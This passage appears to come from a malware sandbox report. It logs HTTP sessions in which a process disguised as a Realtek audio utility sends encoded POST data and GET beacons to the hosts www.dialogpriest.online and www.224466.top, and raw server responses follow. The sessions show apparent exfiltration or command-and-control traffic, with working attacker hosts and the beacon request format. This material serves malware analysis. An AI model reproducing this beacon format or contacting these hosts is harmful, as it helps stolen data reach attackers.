TGKSShiBg8J9msi/n2tKjmElqfOcRpMWzcNpVQTYINMr6ue7bJI22VwoSVBHc3JPlhYRdgY4fAZ0f+XIaHv7S7jemisr4CXoe03+ZMh7oSk/cWFoXHXt2K3w3zkVGTSoceurIKCFVNzhd/LO/lc5pQQyqVB7pgavMqJMTwsK1d5AGP7AhRLQ3bCYH3DKxLvdohY2RdRZefm2+6dWaUNA4dfJ+CsBcfYd393TxpdkJYRJ8IMtghS [TRUNCATED]
Dec 3, 2024 14:54:45.554270029 CET	5292	OUT	Data Raw: 6f 6a 73 6f 4b 54 67 53 49 36 55 41 52 38 39 54 63 31 70 30 66 54 63 48 4e 36 46 49 47 49 53 68 45 31 75 4a 39 74 36 78 7a 31 65 63 56 6c 57 74 73 62 6f 4d 79 59 72 7a 45 58 68 66 4c 54 76 48 77 62 59 35 76 68 73 66 4f 57 64 72 4b 44 70 46 4c 58 Data Ascii: ojsoKTgSI6UAR89Tc1p0fTcHN6FIGIShE1uJ9t6xz1ecVlWtsboMyYrzEXhfLTvHwbY5vhsfOWdrKDpFLXyBdl5XWurngWjPxyJTbhACD3gfGVYOtitXR/pGaND9tTfEdoSLcq68aneGeCcPVNBF5hcgeoZqWUWU874Ovj2rNhdeQphCUpFu5ZwqlGonBBGSmFpuQK3aTZL7ulyz5Opr0bYUFVvyeSqFiSIhHixQQStEvYbnzja
Dec 3, 2024 14:54:45.758339882 CET	1289	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 13:54:45 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close X-Frame-Options: DENY Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 37 36 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 09 3c 74 69 74 6c 65 3e 77 77 77 2e 64 69 61 6c 6f 67 70 72 69 65 73 74 2e 6f 6e 6c 69 6e 65 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 2c 20 23 70 61 72 74 6e 65 72 2c 20 69 66 72 61 6d 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [TRUNCATED] Data Ascii: 761<!DOCTYPE html><html> <head> <meta charset="utf-8"><title>www.dialogpriest.online</title> <style type="text/css"> html, body, #partner, iframe { height:100%; width:100%; margin:0; padding:0; border:0; outline:0; font-size:100%; vertical-align:baseline; background:transparent; } body { overflow:hidden; } </style> <meta content="NOW" name="expires"> <meta content="index, follow, all" name="GOOGLEBOT"> <meta content="index, follow, all" name="robots"> ... Following Meta-Tag fixes scaling-issues on mobile devices --> <meta content="width=device-width; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;" name="viewport"> </head> <body> <div id="partner"> <center><p>El dominio <a href="http://dialo [TRUNCATED]
Dec 3, 2024 14:54:45.758408070 CET	820	IN	Data Raw: 6f 2e 63 6f 6d 2f 63 68 65 63 6b 64 6f 6d 61 69 6e 6f 66 66 65 72 2e 70 68 70 3f 6c 61 6e 67 75 61 67 65 3d 65 73 26 64 6f 6d 61 69 6e 3d 64 69 61 6c 6f 67 70 72 69 65 73 74 2e 6f 6e 6c 69 6e 65 26 70 61 72 74 6e 65 72 69 64 3d 33 31 38 38 37 36 Data Ascii: o.com/checkdomainoffer.php?language=es&domain=dialogpriest.online&partnerid=318876">venta</a> y est alojado en <a href="http://www.wesped.com/" target="_top" alt="Web Hosting y dominios">Wesped</a></p> <p>Compra <a href="https://www.w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.11.20	49811	176.31.209.107	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:54:48.270658016 CET	426	OUT	GET /7znk/?Z1EO=OvfHeluUy&pluxVm=HSNOOCSycaWbpWp1pFuTHgyNeMyGT259cyc1jurPotVrvnXLICbtqfVvbaWKwlIlASBzdIxRFAa/wDiZdCYNsQsDHbsFXQKeKhShRpSMwKmQ7kRuiU3WeuA= HTTP/1.1 Host: www.dialogpriest.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Dec 3, 2024 14:54:48.464325905 CET	1289	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 13:54:47 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close X-Frame-Options: DENY Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 37 36 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 09 3c 74 69 74 6c 65 3e 77 77 77 2e 64 69 61 6c 6f 67 70 72 69 65 73 74 2e 6f 6e 6c 69 6e 65 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 2c 20 23 70 61 72 74 6e 65 72 2c 20 69 66 72 61 6d 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 [TRUNCATED] Data Ascii: 761<!DOCTYPE html><html> <head> <meta charset="utf-8"><title>www.dialogpriest.online</title> <style type="text/css"> html, body, #partner, iframe { height:100%; width:100%; margin:0; padding:0; border:0; outline:0; font-size:100%; vertical-align:baseline; background:transparent; } body { overflow:hidden; } </style> <meta content="NOW" name="expires"> <meta content="index, follow, all" name="GOOGLEBOT"> <meta content="index, follow, all" name="robots"> ... Following Meta-Tag fixes scaling-issues on mobile devices --> <meta content="width=device-width; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;" name="viewport"> </head> <body> <div id="partner"> <center><p>El dominio <a href="http://dialo [TRUNCATED]
Dec 3, 2024 14:54:48.464380026 CET	820	IN	Data Raw: 6f 2e 63 6f 6d 2f 63 68 65 63 6b 64 6f 6d 61 69 6e 6f 66 66 65 72 2e 70 68 70 3f 6c 61 6e 67 75 61 67 65 3d 65 73 26 64 6f 6d 61 69 6e 3d 64 69 61 6c 6f 67 70 72 69 65 73 74 2e 6f 6e 6c 69 6e 65 26 70 61 72 74 6e 65 72 69 64 3d 33 31 38 38 37 36 Data Ascii: o.com/checkdomainoffer.php?language=es&domain=dialogpriest.online&partnerid=318876">venta</a> y est alojado en <a href="http://www.wesped.com/" target="_top" alt="Web Hosting y dominios">Wesped</a></p> <p>Compra <a href="https://www.w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.11.20	49812	45.197.47.177	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:54:54.389543056 CET	674	OUT	POST /8orf/ HTTP/1.1 Host: www.224466.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.224466.top Referer: http://www.224466.top/8orf/ Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 2f 42 34 63 2b 32 54 70 61 43 42 62 44 57 6b 67 36 6f 4b 75 38 78 49 62 6a 70 33 53 69 6e 57 59 4d 6d 45 41 54 55 49 45 76 31 49 76 5a 52 70 31 64 53 69 71 38 50 2f 6e 36 50 4d 39 4e 6b 4e 56 71 4e 74 53 78 6b 50 4a 44 71 32 5a 54 57 6d 50 4b 63 39 34 56 4f 78 50 63 36 72 44 4b 53 63 47 2b 6e 47 36 31 75 42 57 2f 36 5a 4f 50 4c 63 66 4b 32 36 78 41 72 31 50 72 68 62 74 6f 4b 2b 79 66 68 79 41 6c 42 6b 75 66 78 2f 79 35 55 46 74 75 37 6e 36 35 72 77 4c 66 6e 30 69 65 72 46 74 67 48 59 49 48 62 66 61 6e 35 69 4f 34 62 53 34 78 6a 77 61 55 2f 58 33 46 4b 35 31 52 77 44 38 32 77 3d 3d Data Ascii: pluxVm=/B4c+2TpaCBbDWkg6oKu8xIbjp3SinWYMmEATUIEv1IvZRp1dSiq8P/n6PM9NkNVqNtSxkPJDq2ZTWmPKc94VOxPc6rDKScG+nG61uBW/6ZOPLcfK26xAr1PrhbtoK+yfhyAlBkufx/y5UFtu7n65rwLfn0ierFtgHYIHbfan5iO4bS4xjwaU/X3FK51RwD82w==
Dec 3, 2024 14:54:54.702064991 CET	536	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 03 Dec 2024 13:54:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"6735d5d4-11e4a" Content-Encoding: gzip Data Raw: 33 65 64 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 7d 69 93 1b c7 91 e8 77 45 f8 3f c0 63 ef 92 0c 93 33 83 6e a0 01 48 24 f7 e9 a0 bc 7e e1 7d f6 ae bd bb b1 f1 e2 c5 44 1f d5 f7 dd 8d d3 56 04 29 89 f7 2d 51 07 c5 91 28 4a a4 44 5d 3c 44 4a 24 67 78 44 f8 a7 d8 d3 00 e6 cb f3 5f 78 59 dd 0d a0 ba d1 98 01 30 03 7a fc 62 47 0a 02 dd e8 ae ca ca cc ca ca ca ca e3 85 fd 3f 7d ed 37 af fe fe bf 7e 7b 28 27 fb 86 7e f0 85 fd f8 23 a7 b3 a6 74 60 0e 99 73 f8 06 62 85 83 2f e4 e0 6f bf 81 7c 36 c7 cb ac eb 21 ff c0 dc bf ff fe f5 7d 65 fc 84 af f8 3a 3a f8 b2 f4 8f 3f 6b 14 0e 55 5e 7e 09 3e 8b 2f d3 79 fc 59 2a e5 5f c7 9f 85 43 af bc fc d2 9f 1e ec 0e bf 52 af 85 8f 30 af bf f6 d2 1e fc 85 2e 84 cf 16 0f 95 0a e1 b3 af 1f 0a af cb 2f 97 2b e1 e7 e2 62 f4 3b fd fa e2 4b fb 17 a2 de 5e d8 af 2b a6 96 73 91 7e 60 ce 93 2d d7 e7 ab 7e 4e e1 2d 73 2e 27 bb 48 3c 30 b7 20 b2 35 7c 3d 0f ff 60 20 43 d8 4d d6 40 07 e6 34 d4 ac 5b ae e0 Data Ascii: 3ed8}iwE?c3nH$~}DV)-Q(JD]<DJ$gxD_xY0zbG?}7~{('~#t`sb/o\|6!}e::?kU^~>/yY*_CR0./+b;K^+s~`-~N-s.'H<0 5\|=` CM@4[
Dec 3, 2024 14:54:54.702116966 CET	536	IN	Data Raw: cd e5 e0 77 1f 99 30 16 16 03 9f 00 16 ae 99 d7 5f a1 31 00 95 e2 a1 72 38 18 a6 74 28 04 f4 95 57 18 f2 b3 70 a8 b8 18 fe fe 7a 31 1a f4 cb af 55 5e da 9b 89 8f e2 2b 95 a8 29 fc e8 de cc 5e 01 0d 61 af 45 3c dc b0 b7 e8 15 06 be bc 94 1a 89 80 Data Ascii: w0_1r8t(Wpz1U^+)^aE<<Ul_`z1S8tbH"](^J5-f^{%ZDRa13J`JD?L!KP Q8Qb]UQbZ\|%lR4IWuX@}P
Dec 3, 2024 14:54:54.702321053 CET	536	IN	Data Raw: c7 cf 86 fd b3 b1 04 97 7d df 7e 71 61 81 a2 0a 05 86 99 f7 2d 9b 78 28 7c 50 31 a4 1c 46 c2 dc 42 d5 d6 2d 56 f0 16 58 5d 87 9b 0b d4 22 cc 82 52 be bc 90 df 07 5f 7e f9 af 8b c5 5f fd 4b 91 9e b7 4d 69 2e c7 ea 20 ee c9 ee 16 d8 78 dc 0b 80 9d Data Ascii: }~qa-x(\|P1FB-VX]"R_~_KMi. xxv^j(XHrd}2\|Mw=e*g_rpPJT)&Tq-%a4rRy`nw'qXkN#aDdwn6+I+a5amBLIW<y`
Dec 3, 2024 14:54:54.702370882 CET	536	IN	Data Raw: 29 86 50 29 e9 51 47 30 eb fc b4 6c ce 6a 23 c2 cd 80 eb d5 86 e4 5a 8e e0 92 32 7a d4 7b 1b dd 87 a9 07 fb 8b 51 4f 10 13 33 eb 91 c4 c0 cc ba dd 30 ca b6 cf f5 c9 ed 2a 92 bc 19 7c 83 e5 22 5e 04 b2 d8 7b 23 8e 1b 8d fa 11 c0 67 dc 1e 7f 46 23 Data Ascii: )P)QG0lj#Z2z{QO30*\|"^{#gF#!XGyIc$fW8wIpU&%GMjz>~3@P'$w}Kk}L28]jSF)37U}j5d4uBiz RG8)
Dec 3, 2024 14:54:54.702406883 CET	536	IN	Data Raw: 0c 10 ab 19 cb 70 9a 8a ba e6 c1 be 4e 43 04 15 db ef df 59 ff 60 b5 fb c3 db dd 5b b7 e7 0e 92 57 9b 6b 02 2d d3 74 59 53 16 9c 49 74 f9 a2 ee d4 c0 96 83 b4 a9 34 01 97 71 7c ae 58 33 e4 a9 35 01 a4 95 d4 9a 6d 30 52 ac 09 24 87 3c b1 26 40 a2 Data Ascii: pNCY`[Wk-tYSIt4q\|X35m0R$<&@1H2YkVP[D5Kq~KhNvz>$OXwx,AZ{o`%G`I8AIC5l8i&pXpY:j6}hgYulQo+k,&fFt
Dec 3, 2024 14:54:54.702442884 CET	536	IN	Data Raw: e0 cc fb 7d bb 44 78 b5 b9 b4 83 d3 02 8e 6f 98 62 5f 70 65 80 10 f1 18 61 21 73 c1 d3 00 e9 79 56 9d 4a da 15 41 be 0a 25 4f ef ab e2 13 db b8 5d 59 85 8d 3d 0f d2 36 b2 71 c7 a6 98 78 c8 93 4a bb 04 4a 7b d2 4e ca 97 25 dd a4 cc e2 ac a5 1d 9c Data Ascii: }Dxob_pea!syVJA%O]Y=6qxJJ{N%vkWD2#7>_~Wn]O<9c3W#OC>ljlC"]dCn}I0SnF2p`rVeBwBq`x5J_eR
Dec 3, 2024 14:54:54.702477932 CET	536	IN	Data Raw: 3b ab 57 41 2d 4d de d8 1e 18 b7 4f 22 eb c8 71 44 96 33 b7 b8 bf 48 0a af 91 bc fb 9c 25 b2 c0 d2 25 b9 4e 09 5c c6 74 4a ad ab 9c ee d4 05 0d 89 66 83 b4 a6 ac 04 a7 ae 00 6f b5 57 2e e0 3d ec e0 6a 73 89 2c f9 ac 60 0a b6 d3 df 2a 64 80 30 b4 Data Ascii: ;WA-MO"qD3H%%N\tJfoW.=js,`*d0{@TS/`dqG(-'<DN'irfWq'u$WO#iI_t!Nl<_YW#OY3I<5uwsZg>}J=6y5+uU
Dec 3, 2024 14:54:54.702512980 CET	536	IN	Data Raw: a3 de d4 aa 66 75 ac 00 09 49 72 6a be e8 35 ad a1 00 89 82 88 04 88 18 a8 35 b7 21 40 c2 e7 0d 1e 49 4d 89 34 81 0d c7 93 6c 10 20 51 b6 24 4d ae 6b be 3b 45 80 04 1c 0d 18 15 97 f5 48 0d 23 ab f3 ed 08 90 f0 90 5a e7 68 0f c1 21 68 76 80 84 59 Data Ascii: fuIrj55!@IM4l Q$Mk;EH#Zh!hvY2G$8[Vu @G/L\T@2<gm8GdyHia)jj6DY)Mt(Zh-z-lDK[3nW%w 22
Dec 3, 2024 14:54:54.702545881 CET	536	IN	Data Raw: b1 8a e8 21 59 bc 13 02 24 0a f5 12 5f 41 92 01 13 27 bd 52 ec 80 00 09 4f b2 1d ad 59 a3 21 a7 41 0a ba 9d 10 20 81 f2 c8 66 05 b7 30 ac a7 fc 7d 07 48 98 55 9f ab 54 74 08 72 de 92 d9 77 67 06 48 70 9c 51 72 cc 96 36 c6 4a b1 dd 01 12 10 ce ad Data Ascii: !Y$_A'ROY!A f0}HUTtrwgHpQr6J?!iVdBk68Ym#jFSQg G#3jEDymmS5&IVpKN MV(\|;@BV9AT\;3@zYE(izu*
Dec 3, 2024 14:54:54.702581882 CET	536	IN	Data Raw: 87 8b 77 c6 08 c0 de ee 00 89 22 e3 83 72 6b 08 13 d9 dd c1 23 42 84 74 98 ba 37 d5 fe a2 2a 98 1a 65 70 82 3e b5 44 e6 15 4d d7 4b f5 72 a5 6f 4d 21 63 42 26 75 7b cd 0c 90 e0 1b 0a 58 f7 9b f2 ec 53 14 16 14 85 92 79 71 8b d6 94 82 51 ac 3b b5 Data Ascii: w"rk#Bt7ep>DMKroM!cB&u{XSyqQ;:N;"mMC p^<s8$aN}H\|l&%2OZc%[;P!%KeYmot5 7)Hnf a%4UY
Dec 3, 2024 14:54:55.012851954 CET	536	IN	Data Raw: ac 6a 56 4e f8 44 97 c8 42 2d b1 64 43 24 1a 7e 67 a3 a2 03 44 cd 09 4e 62 28 bb 62 a9 02 11 52 11 f7 86 eb 67 0c 59 a7 42 a4 24 ea 77 30 50 6f c5 6b 89 50 ef 06 27 5c 09 ce 3f ec dc 3a bc b6 7a 3a 2e 56 31 d4 c0 88 e0 a8 c4 48 2c d8 10 69 66 91 Data Ascii: jVNDB-dC$~gDNb(bRgYB$w0PokP'\?:z:.V1H,ifG},Vmh`Aa3)",EOr(\|kj0>y3Ye%G%(pVge)f1D,3Pd/m%RPBU[2dR{P*jn/8ATsjW//OymmI{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.11.20	49813	45.197.47.177	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:54:57.240030050 CET	694	OUT	POST /8orf/ HTTP/1.1 Host: www.224466.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.224466.top Referer: http://www.224466.top/8orf/ Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 2f 42 34 63 2b 32 54 70 61 43 42 62 44 33 55 67 34 4c 79 75 37 52 49 59 39 5a 33 53 73 48 57 63 4d 6d 59 41 54 51 51 71 75 47 38 76 5a 77 35 31 63 54 69 71 78 76 2f 6e 69 2f 4d 34 44 45 4d 62 71 4e 78 73 78 6c 7a 4a 44 75 65 5a 54 58 57 50 4b 4c 42 35 55 65 78 4e 46 71 72 4e 41 79 63 47 2b 6e 47 36 31 75 55 4c 2f 35 70 4f 50 36 4d 66 4c 54 57 79 4a 4c 31 4d 73 68 62 74 37 61 2b 32 66 68 79 79 6c 46 6c 4c 66 79 58 79 35 56 31 74 75 4a 66 35 7a 72 77 52 43 58 31 4f 59 36 34 63 74 58 78 31 47 39 54 65 76 4d 2b 75 39 4e 66 69 73 52 45 2b 58 73 4c 46 42 36 41 64 54 79 43 6e 72 34 49 47 4d 78 48 41 39 42 5a 75 42 73 69 52 77 54 59 44 72 32 45 3d Data Ascii: pluxVm=/B4c+2TpaCBbD3Ug4Lyu7RIY9Z3SsHWcMmYATQQquG8vZw51cTiqxv/ni/M4DEMbqNxsxlzJDueZTXWPKLB5UexNFqrNAycG+nG61uUL/5pOP6MfLTWyJL1Mshbt7a+2fhyylFlLfyXy5V1tuJf5zrwRCX1OY64ctXx1G9TevM+u9NfisRE+XsLFB6AdTyCnr4IGMxHA9BZuBsiRwTYDr2E=
Dec 3, 2024 14:54:57.556756973 CET	1289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 03 Dec 2024 13:54:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"6735d5d4-11e4a" Content-Encoding: gzip Data Raw: 33 65 64 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 7d 69 93 1b c7 91 e8 77 45 f8 3f c0 63 ef 92 0c 93 33 83 6e a0 01 48 24 f7 e9 a0 bc 7e e1 7d f6 ae bd bb b1 f1 e2 c5 44 1f d5 f7 dd 8d d3 56 04 29 89 f7 2d 51 07 c5 91 28 4a a4 44 5d 3c 44 4a 24 67 78 44 f8 a7 d8 d3 00 e6 cb f3 5f 78 59 dd 0d a0 ba d1 98 01 30 03 7a fc 62 47 0a 02 dd e8 ae ca ca cc ca ca ca ca e3 85 fd 3f 7d ed 37 af fe fe bf 7e 7b 28 27 fb 86 7e f0 85 fd f8 23 a7 b3 a6 74 60 0e 99 73 f8 06 62 85 83 2f e4 e0 6f bf 81 7c 36 c7 cb ac eb 21 ff c0 dc bf ff fe f5 7d 65 fc 84 af f8 3a 3a f8 b2 f4 8f 3f 6b 14 0e 55 5e 7e 09 3e 8b 2f d3 79 fc 59 2a e5 5f c7 9f 85 43 af bc fc d2 9f 1e ec 0e bf 52 af 85 8f 30 af bf f6 d2 1e fc 85 2e 84 cf 16 0f 95 0a e1 b3 af 1f 0a af cb 2f 97 2b e1 e7 e2 62 f4 3b fd fa e2 4b fb 17 a2 de 5e d8 af 2b a6 96 73 91 7e 60 ce 93 2d d7 e7 ab 7e 4e e1 2d 73 2e 27 bb 48 3c 30 b7 20 b2 35 7c 3d 0f ff 60 20 43 d8 4d d6 40 07 e6 34 d4 ac 5b ae e0 cd e5 e0 77 1f 99 30 16 16 03 9f 00 16 ae 99 d7 5f a1 31 00 95 e2 a1 72 38 [TRUNCATED] Data Ascii: 3ed8}iwE?c3nH$~}DV)-Q(JD]<DJ$gxD_xY0zbG?}7~{('~#t`sb/o\|6!}e::?kU^~>/yY_CR0./+b;K^+s~`-~N-s.'H<0 5\|=` CM@4[w0_1r8t(Wpz1U^+)^aE<<Ul_`z1S8tbH"](^J5-f^{%ZDRa13J`JD?L!KP Q8Qb]UQbZ\|%lR4IWuX@}P{;2M_6n!edhJ^A+ClUJ9Jp0A7u-kBp/c"L}ly=Aw[/42nq/6:569z?yaBYBrzw2\|/WwY@=sU6bj1(WSb]Qid~M1d}~qa-x(\|P1FB-VX]"R_~_KMi. xxv^j(XHrd}2\|Mw=e*g_rpPJT)&Tq [TRUNCATED]
Dec 3, 2024 14:54:57.556817055 CET	1289	IN	Data Raw: aa b3 49 e7 ac 2b 61 35 61 89 03 6d 42 9b eb 01 83 4c 49 57 3c 79 ee 60 fc 85 e8 07 b3 7e 6a a0 be ad 55 15 56 a3 99 9c 07 4c c5 cb 4b 1c 0b 7c 4a 60 15 b1 25 d9 f4 38 55 23 06 12 3d 1a 0d 26 1e 02 9e 51 21 cf 8c 20 b2 e0 20 d9 d2 45 4a cb 19 c8 Data Ascii: I+a5amBLIW<y`~jUVLK\|J`%8U#=&Q! EJ}EGQPY.qlMQb_~F@+>hjS)18dvU->QX\|ume%xt/8'aGsbBL"15Xr^KasK$_ZB)c0]*
Dec 3, 2024 14:54:57.556864023 CET	1289	IN	Data Raw: 10 a0 b8 77 ae af f4 38 31 ba da 1e 79 92 5e 29 5a 5a 5e 31 6a 92 38 0c 5d a3 51 55 94 26 6b e9 0a b1 2b bb f5 59 f7 fe 77 c1 3b 37 bb b7 3f 03 ad 9d b8 da 1e e8 b6 4f da f9 15 c3 74 0c 9f 33 b6 a6 17 93 f3 62 03 be 78 ce d2 ae 29 94 75 b9 6c b0 Data Ascii: w81y^)ZZ^1j8]QU&k+Yw;7?Ot3bx)ulFH]ZBJ.}Dxob_pea!syVJA%O]Y=6qxJJ{N%vkWD2#7>_~Wn]O<9c3
Dec 3, 2024 14:54:57.557074070 CET	1289	IN	Data Raw: 32 e3 19 3c 67 aa 84 fa 95 85 9c 6d 0e 90 d0 38 8f 47 a6 ac 64 79 c0 a4 95 d4 19 07 48 c8 9c a4 b3 f9 96 de df 69 8d 10 f9 09 61 a4 29 9a d2 6a 9a 88 9e 6a c9 36 44 59 29 9a 4d c1 9a de dc d6 74 e4 bc 28 14 5a b3 0f 90 68 80 2d 12 a9 7a d3 9c f5 Data Ascii: 2<gm8GdyHia)jj6DY)Mt(Zh-z-lDK[3nW%w 22n$<^LLt:Lwh#?[/~Q{vsQC5m\Vgnb8HUUSL;!@0aNZM$
Dec 3, 2024 14:54:57.557132959 CET	1289	IN	Data Raw: 36 2c af b1 0f 17 b9 61 15 e8 25 25 dc 12 6f 29 ac 9a 17 8a 82 03 a1 2b d1 5b c9 0a 17 24 bb 24 de a3 6c dd 37 45 38 26 ea bd e7 e9 8a 40 6e 4c 06 d5 37 5e 84 12 26 83 8c e2 71 1d 12 5b e1 fd aa 8b 16 98 22 23 0a 02 27 20 8a ce 0b f3 aa 8d f7 85 Data Ascii: 6,a%%o)+[$$l7E8&@nL7^&q["#' a9%z>$u){,rE(2%T=&}6TAdbB5(1p,MIMb/]/.JR\|x6lDq[([r#%GFjVNDB-dC$~gDNb(bRgY
Dec 3, 2024 14:54:57.557178974 CET	1289	IN	Data Raw: c9 9e e1 81 c3 d7 10 d7 8e 7a 1f df df 6f f7 c1 71 34 cf 81 92 87 2e 14 1b 6b 3f 38 1e 9c 7b 16 89 7e 10 df e1 12 77 22 58 be 03 02 2f b8 82 b5 88 48 34 82 50 86 ec 25 b0 54 b6 4f bd 07 22 76 ff 82 7d 70 a3 be c8 df 60 a4 63 56 6a 81 27 75 d8 e6 Data Ascii: zoq4.k?8{~w"X/H4P%TO"v}p`cVj'u^\|SWQhdT<`3=e6xh/)HpBa/=%47zh?)_w?<C9"!zZ8;4YVj^]0+ouuoY=GFJG;\|o
Dec 3, 2024 14:54:57.557219982 CET	1289	IN	Data Raw: 55 ec d8 96 5d 63 21 ef 25 e1 d2 93 3b 90 33 51 3d f7 bb d0 23 64 f7 ae f9 e8 b8 3e 37 9f 76 ca d9 b5 37 f7 87 3e c6 06 8e 23 2f e6 76 f5 1e 1d dc dc b5 37 e3 c9 57 75 28 2c ce 72 3a 7a 31 87 d9 35 7a e4 8d 3d 2f bd 00 ae 11 04 7c 89 99 56 37 4a Data Ascii: U]c!%;3Q=#d>7v7>#/v7Wu(,r:z15z=/\|V7J7 \|GDz%g%RJfr.%$X6Z ;dFoKg1&hR^KZ:TXp,aFS51B&'9.X&B Zu`WGj}YdJP00I$)#~z
Dec 3, 2024 14:54:57.557265997 CET	1289	IN	Data Raw: 07 cf d1 8c 76 f9 66 1e 6c 35 92 84 e3 82 37 69 97 63 0b 45 54 20 80 5d 7b 7c 2a 38 f1 55 46 a3 2d e4 7a b6 c7 1a b8 ce de 26 8d 96 10 12 a9 32 49 b4 cb 4f 83 9b 47 82 f7 ae af 1f 7d 27 6e ba b7 fd 20 3f 07 95 89 92 77 33 f7 45 09 19 e8 bb aa 57 Data Ascii: vfl57icET ]{\|*8UF-z&2IOG}'n ?w3EWk`gO+{"yJLie7`Ss;cA=w8~pf[G>Ew "cH3mNqG3VXSO?nvo<?q>V+@a
Dec 3, 2024 14:54:57.557308912 CET	1289	IN	Data Raw: bf d8 fe f0 6a 64 31 c1 bf de 79 08 db 73 88 66 82 5c 17 c1 b1 a3 9d ab 37 70 dc 40 1c 9f 31 a4 f7 a7 d9 6b 48 51 74 20 97 87 e1 34 4d 2e 17 a3 38 32 f9 c5 47 f4 90 ba e7 77 a1 1f cf be 11 35 32 12 ec ea b8 76 de a0 4d 53 cf f5 df 7b 15 36 b1 63 Data Ascii: jd1ysf\7p@1kHQt 4M.82Gw52vMS{6cdKIdR@@`HQz$2L'eQJ,&i]=Wl0'<-Hn+yYR/eB2bNL2=`eFFW3l`q4\Flc'3$e
